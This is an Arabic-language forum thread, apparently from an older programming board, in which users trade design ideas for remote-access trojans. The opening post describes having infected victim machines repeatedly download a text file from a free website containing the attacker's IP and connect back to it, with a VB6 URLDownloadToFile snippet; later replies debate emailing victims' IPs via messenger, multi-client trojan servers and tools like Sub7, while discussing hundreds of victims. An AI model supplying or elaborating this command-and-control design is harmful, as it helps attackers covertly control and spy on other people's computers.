فكرة لإرسال IP جهاز الضحيه الى الجهاز الأساسى

:) :) :) :) اول ما دخلت اقرا المشاركة فكرتك بتسأل :)

معلومة علي الماشي ربما تفيد احدا :

دايما في برامج الاختراق والتلصص بيكون تصميم برنامج السيرفر هو الذي يتم الاتصال بالعميل :

ولكن انا غيرت الطريقة لتصبح العكس اي الضحية هو من يستصل بالسيرفر , اعمل ملف من نوع txt اكتب فيه رقم IP المراد جعل اجهزة الضحايا الاتصال به وهو رقم جهازك طبعا .

يتم رفعه علي موقع مجاني ، والان في برنامج السيرفر يتم تصميمه علي ان يقوم كل دقيقة مثلا بتنزيل هذا الملف من الموقع ويتم قراءة IP منه وعمل اتصال عليه .

مثلا لو فايروسك منتشر علي 300 جهاز حاسوب حول العالم ستقوم جميعها بالاتصال علي رقم الاي بي الموجود في ملف التكست اي علي جهازك دون اي تعب او حتي معرفة ما هي ip's للضحايا . في هذه الحالة سيتم تصميم برنامج العميل علي ا يستقبل اكثر من اتصال .

طبعا طريقة تنزيل الملف من النت سهلة هناك دالة بسيطة :

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Command1_Click()
lngRetVal = URLDownloadToFile(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0)
End Sub

تحياتي للجميع ،، ارجوا ان اكون قد وفقت في نشر معلومة مفيدة ،، واتمني الا يستخدمها احد في ضرر اخوانه.

مشكور استاذ prof_1982

:rolleyes:

العفو عزيزيSheriff_Ghost2010

تسلم يابروف :lol: :lol: :lol: :lol:

فين مشركاتك ياعم مهدى

اتمنى ان اعرف رأيك فى هذا الموضوع :rolleyes:

رأيى معروف ياابنى طالما ان البروف شارك وانت صاحب الموضوع :lol: :lol: :lol: :lol:

لا استطيع التحدث بعد ذلك ياعم مهدى :rolleyes: :rolleyes: :rolleyes:

هذه الطريقة غير صالحة بالمرة فلقد اهملت الجزء الاهم و هو كيف سيرسل الServer الIP الى الClient و هو لايعرف الIP الخاصة بالClient كل مرة (الIPs في الاغلب تتغير) فانت لن تستخدم الClient مرة واحدة فقط

الحل هو الاعتماد على طرف ثالث ثابت مثل Email او ICQ او اي شئ اخر يمكن للطرفان الClient و الServer ارسال رسائل عليه بدون التقيد بانه متحرك او متغير

و هكذا كلما تغيرت الIP الخاصة بالضحية Victim يقوم الServer بارسالها الى الEmail مثلا و يستخدمها الServer و هكذا

و هذه هي طريقة عمل برامج الHack عموما مثل SUB7

أخى باشمهندس

هل فهمت الفكرة جيدا قبل التعليق ؟؟؟

سوف يبعت السرفر ال ip الى موقع مجانى على الانترنت و له عنوان ثابت و يقوم الكلينت بأخذ هذه البيانات من الموقع

اقتباس

اما برامج الشات مثلا تقوم الشركه المنتجه بتخصيص موقع على النت يقوم الServer بارسال IP الجهاز الى هذا الموقع ويقوم الClinet بالدخول الى هذا الموقع وجمع ال IP الموجوده به حتى يمكن الأتصال بهم مع العلم بان برامج الشات تكون برنامج واحد يحتوى كل من ال Clinet وال Server

اعتقد ان هذه هى فكره عمل برامج الشات وبرنامج ال SUP7

عزيزي bashmohandes ،،

اقتباس

هذه الطريقة غير صالحة بالمرة

في هذه الطريقة سيكون برنامج الكلاينت هو الموجود عند الضحية وليس برنامج السيرفر وسيقوم هذا البرنامج بانزال ملف نصي صغير من الموقع ويقرا منه الاي بي لجهازك وستكون في هذه الحالة انت مجهز برنامجك السيرفر علي جهازك وتنتظر فقط الاتصالات من الضحايا .

علي رقم الاي بي الموجود في الملف النصي وطبعا هو رقم جهازك .

ملاحظة اخري لتوضيح الصورة ،، بان اذا كان رقم جهازك ايضا متغير ستقوم بتشغيل السيرفر لديك ومعرفة الاي بي الخاص بك ثم رفعه علي الموقع للتأكد بان كل الاتصالات ستكون علي جهازك .

اما

طريقة الاميل التي تفضلت بها فهي التي لا تصلح بالمرة لانه من ناحية السرعة فالايميل بطيئ جدا ومن ناحية اخري لو كان لديك 300 ضحية سياتيك 300 اميل تصور الوقت اللازم لفتح تلك الايميلات وقراءة الـIP's والاتصال بهم سيكونون هم قد اغلقوا الاجهزة او تغيرت ips لهم في هذه الفترة .

العيوب كثيرة لتلك الطريقة لا اريد ذكرها كلها .

وهذه صورة توضيحية للطريقة التي ذكرتها

تحياتي لك

الايميل ليس بطيئا و خاصة اذا كنت تستخدم الyahoo messenger او الmsn messeneger فبمجرد وصول الايميل فستعرف بوصوله في اقل من دقائق و على عكس فكرة الملف النصي الذي ساحتاج الى اعادة تنزيله كل فترة من على الموقع دون ان اعرف اذا كان هناك ضحايا جدد ام لا او ان الضحايا الموجودون في الملف هم ضحايا جدد فعلا ام انهم سابقين

على العموم طريقة الايميل و الICQ هي الطريقة المتبعة فعلا في جميع برامج الHack مثل SUB7 و Thief و RAT و Net Daemon و غيرهم

بسم الله الرحمن الرحيم

اسمحوا لي أن ابدي رأي في هذا الموضوع

اولا لاحظت ان هناك خلط في الأسماء حيث بالنسبة لي السيرفر هو الذي يوجد في جهاز الضحية و الكلاينت هو برنامجك ذلك لأن السيرفر(الخادم) هو الذي يخدمك من خلال جهاز الضحية بتنفيذ الأوامر القادمة له من طرف الكلاينت

النقطة الثانية انطلاقا من الرسم التوضيحي الذي و ضعه الأخ بروف اتضح لي ان السيرفر(استنادا الى التعريف الموجود في الرسم التخطيطي) هو الذي يعطي الأي بي للكلاينت من أجل الاتصال به و هذه طريقة لن أقول سيئة لكن ليست مثالية فلنفرض أن في نفس الوقت دخل شخصين عندهم البرنامج الى نفس الجهاز ؟؟؟؟ أي اي بي سيأخذ الكلاينت بالأعتبار ؟؟؟ بل المشكلة انه لن يملك سوى اي بي واحد لأن الملف النصي على حسب فهمي لطريقتك اذا تم تحميله يحذف الملف الموجود أصلا ... اذا برنامجك بهذه الطريقة لن يحتمل أكثر من مستعمل واحد :blink: !!!!!

و الطريقة التي أنصح بها و التي كنت قد اتبعتها في برنامج اختراق كنت قد صممته منذ مدة طويلة هي أن كلما اتصل الكلاينت (الضحية) يقوم مباشرة بارسال ال IP الخاص به (بالضحية) الى ايميلي (المسنجر) و يكون الاتصال مني اليه و ليس العكس و هو طبعا لا زم يكون Multi-Client (وهذه الكلمة تفسر تعريفي اعلاه يعني هناك سيرفر واحد و هو اللي عند الضحية و كلاينتس متعددين و هم "المتطفلين" ;) ) و بهذا يستطيع أكثر من واحد الدخول على جهاز واحد و عمل كل مايريدون في وقت واحد

أتمنى أن تكون وجهة نظري قد و صلت اليكم

والسلام عليكم و رحمة الله

السلام عليكم

:( يا جماعة انتو مش مستوعبين الفكرة لسه ،، انا في الرسم التوضيحي بينت ان البرنامج علي جهاز الضحية هو اللي راح يقوم بيتنزيل الملف واللي طبيعي راح يكون فيه رقم الاي بي صاحب الفايرس ليتم الاتصال عليه ،، يعني بكل بساطة انتا بتنشر فايروسك وهذا الفايرس سيقوم بتنزيل الملف من النت و سيقوم بالاتصال بك علي رقمك الاي بي الموجود في الملف . وانت تحتسي كوب شاي دون التشييك علي البريد ولا ما يحزنون ،، يعني انتا من سينتظر الاتصالات من الضحايا .

إفهموني بقه بالمصري ،،

فهمتك الان و لكن المشكلة انك غيرت المصطلحات وجعلت الضحية هو الclient و الhacker هو الserver لان المصطلح المتعارف عليه عامة في الHack هو ان الضحية هي الServer لان الClient او الهاكر هو من يقوم بعمل Connect عليه و لكن انت عكست المفهوم فجعلت الضحية هي الclient و هو من يحاول عمل Connect على الهاكر Server و هذا ما جعل الموضوع غير مفهوم

على العموم الفكرة جيدة و تستحق التجربة

لكن أخي بروف ماذا لو كان هنالك أكثر من مستعمل لجهازك

مثلا : أنت جالس تحتسي الشاي :D و فجأة عمل برنامج الضحية كونكت عليك على الاي بي الخاص بك(الموجود في ملف التكست المسمى مثلا IP.txt في موقع محدد) الى هنا الأمور جيدة لكن بعد 5 دقائق دخلت انا (و أملك طبعا نسخة من برنامجك) و قمت بفتحه كيف سيقوم جهاز الضحية او بالأحرى البرنامج في جهاز الضحية بالتعرف على الاي بي تبعي ؟؟؟؟؟؟؟؟؟ :unsure:

ومن يدري لربما يستعمل البرنامج أكثر من اثنين و بما أنك مبرمج فيجب عليك أن تضع في الحسبان ان عدد الذين سيستعملونه قد يكون

HumainInEarth.Count

:D

و أنا في انتظار اجابتك أخي العزيز

موضوع اكثر من هاكر على نفس الجهاز باستخدام trojan واحد يعتبر صعب جدا و لم اجد برنامجا واحد من قبل يدعم هذه الخاصية

على العموم ربما تكون اول من يقوم بها :lol:

بلى أخي الباشمهندس الأمر ليس بالصعب و لا أظن أني أول من عملها

الفكرة هي أن السيرفر يدعم عدة كلاينتس مثل برنامج شات عادي و في كل مرة يتلقى أمرا ينفده بغض النظر عن مرسله

crazy-man كتب:

بلى أخي الباشمهندس الأمر ليس بالصعب و لا أظن أني أول من عملها

الفكرة هي أن السيرفر يدعم عدة كلاينتس مثل برنامج شات عادي و في كل مرة يتلقى أمرا ينفده بغض النظر عن مرسله

←

انا لم اعترض انا فقط قلت انه لا يوجد Trojan من الtrojans الشهيرة يدعم هذه الخاصية فقط

أخى / باشمهندس

اقتباس

موضوع اكثر من هاكر على نفس الجهاز باستخدام trojan واحد يعتبر صعب جدا و لم اجد برنامجا واحد من قبل يدعم هذه الخاصية

لا يوجد Trojan من الtrojans الشهيرة يدعم هذه الخاصية فقط

مع احترامى لك ...

من أوحى لك بهذه الفكرة

لماذا إذا سمى الملف الذى يذهب للضحية SERVER لأن أكثر من Client يستطيع الاتصال به

أنا عملت تروجان وأيضا يستطيع الاتصال بأكثر من كلينت فى نفس الوقت و هذا هو الاساس فى برامج الهاكينج مثل ال SubSeven و Hackattack وغيرها ..

على عكس فكرة الاخ Prof_1982 والتى يكون فيها جهازك أنت Serrver و أجهزة الضحايا Client وهم الذين يبحثون عن جهازك :)

أرجو أن تقتنع :)

يا اخي انا اكلمك عن تجربة لو حاول اكثر من client استخدام الtrojan في البرامج مثل SubSeven فانه سيقوم بعمل Diconnect للclient الاخر و هذا و الله يحدث في Sub7 و قد واجهنا هذه المشكلة كثيرا في الماضي و كنت اعجب مثلك ان هذا اسمهServer و يجب ان يكون قادرا على هذا و الا فان هذا النوع من Connections يسمى Peer2Peer و ليس Client/Server و اتضح ان هذه المشكلة ليست في Sub7 فقط بل في اكثر من trojan

أخى باشمهندس

إذا فإن أصحاب Torjans هم السبب فى هذا الموضوع وأعتقد أنهم فعلوا ذلك حتى يسمحوا لأنفسهم بالدخول على الاجهزة المصابة وان تكون غير متصلة بأكثر من كلينت فى نفس الوقت

جميل ان فكرتي وصلت ،، يا جماعه انا جربت بعض برامج الهاك ووجدتها كلها بنفس الطريقة ،، اي يكون السيرفر عند الضحية والكلاينت عند الشخص الهاكر ،، فلم تعجبني الطريقة لذلك قمت بعكس الطريقة ليصبح الضحية هو الكلاينت و هو من سيقوم بالاتصال بالسيرفر اللي هو الشخص الهاكر ،، . وهذه الطريقى اثبتت نجاحها 100% لسرعتها ولعدة مميزات .

والميزة الوحيدة بين كل المميزات التي جعلت الفكرة ناجخة تمام هي :

1- ان الضحية سيقوم بالاتصال بمجرد انه اصبح لديه اتصال بالنت ،، بدلا من ان يقوم بارسال الـIP علي البريد حسب الطرق القديمة .

وهذه صورة توضيحية ايضا للفكرة .

تحياتي للجميع

اخي bashmohandes

اقتباس

موضوع اكثر من هاكر على نفس الجهاز باستخدام trojan واحد يعتبر صعب جدا و لم اجد برنامجا واحد من قبل يدعم هذه الخاصية

:)

موضوع ان يستقبل السيرفر اكثر من اتصال من الضحايا سهل جدا جدا ،، اذا اردتم ساقوم بشرح كيفية عمل سيرفر متعدد الاتصالات ويدعم خاصية نقل الملفات ، ولكن قوانين المنتدي هنا لا تجيز التطرق لمثل هذه البرامج هنا . وانا مع قوانين المنتدي :)

تحياتي للجميع